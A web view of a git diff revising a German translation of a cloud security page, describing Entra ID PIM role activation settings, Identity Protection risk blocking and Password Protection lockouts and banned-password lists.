<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn PIM aktiviert ist, lässt sich jede Rolle mit bestimmten Anforderungen konfigurieren, z. B.:
|
||||
Wenn PIM aktiviert ist, kann jede Rolle mit bestimmten Anforderungen konfiguriert werden, z. B.:
|
||||
|
||||
- Maximale Dauer (Stunden) der Aktivierung
|
||||
- Erfordert MFA bei Aktivierung
|
||||
- Erfordert Conditional Access authentication context
|
||||
- Erfordert Begründung bei Aktivierung
|
||||
- Erfordert Ticketinformationen bei Aktivierung
|
||||
- Erfordert Genehmigung zur Aktivierung
|
||||
- Maximale Zeit bis zum Ablauf der eligible assignments
|
||||
- Viele weitere Konfigurationen, z. B. wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle passieren
|
||||
- MFA bei Aktivierung erforderlich
|
||||
- Conditional Access Authentifizierungskontext erforderlich
|
||||
- Begründung bei Aktivierung erforderlich
|
||||
- Ticketinformationen bei Aktivierung erforderlich
|
||||
- Genehmigung zur Aktivierung erforderlich
|
||||
- Maximale Zeit bis zum Ablauf der berechtigten Zuweisungen
|
||||
- Viele weitere Konfigurationen, z. B. wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle stattfinden
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
@@ -1193,27 +1268,27 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection ist ein Sicherheitsdienst, der ermöglicht, **zu erkennen, wann ein Benutzer oder ein Sign-in zu riskant** ist, um akzeptiert zu werden, und somit den Benutzer oder den Anmeldeversuch zu **blocken**.
|
||||
Entra Identity Protection ist ein Sicherheitsdienst, der **erkennt, wann ein Benutzer oder ein Anmeldeversuch zu riskant** ist, um akzeptiert zu werden, und ermöglicht, den Benutzer oder den Anmeldeversuch zu **sperren**.
|
||||
|
||||
Administratoren können konfigurieren, dass Versuche bei Risiko-Stufen wie "Low and above", "Medium and above" oder "High" **blockiert** werden. Standardmäßig ist der Dienst jedoch komplett **deaktiviert**:
|
||||
Der Admin kann konfigurieren, dass Versuche bei Risiko "Low and above", "Medium and above" oder "High" **blockiert** werden. Allerdings ist es standardmäßig komplett **deaktiviert**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Heutzutage wird empfohlen, diese Einschränkungen über Conditional Access Policies hinzuzufügen, wenn möglich, da dort dieselben Optionen konfigurierbar sind.
|
||||
> Heutzutage wird empfohlen, diese Einschränkungen über Conditional Access policies hinzuzufügen, wo dieselben Optionen konfigurierbar sind.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die dabei hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten nach mehreren fehlgeschlagenen Login-Versuchen gesperrt werden.\
|
||||
Sie erlaubt außerdem, eine benutzerdefinierte Liste gesperrter Passwörter bereitzustellen.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist ein Sicherheitsfeature, das **den Missbrauch schwacher Passwörter verhindert, indem Konten gesperrt werden, wenn mehrere fehlgeschlagene Anmeldeversuche auftreten**.\
|
||||
Es erlaubt außerdem, eine **eigene Liste gesperrter Passwörter** bereitzustellen.
|
||||
|
||||
Sie kann sowohl auf Cloud-Ebene als auch für das On-Premises Active Directory angewendet werden.
|
||||
Es kann sowohl auf Cloud-Ebene als auch im lokalen Active Directory angewendet werden.
|
||||
|
||||
Der Standardmodus ist **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
|
||||
Reference in New Issue
Block a user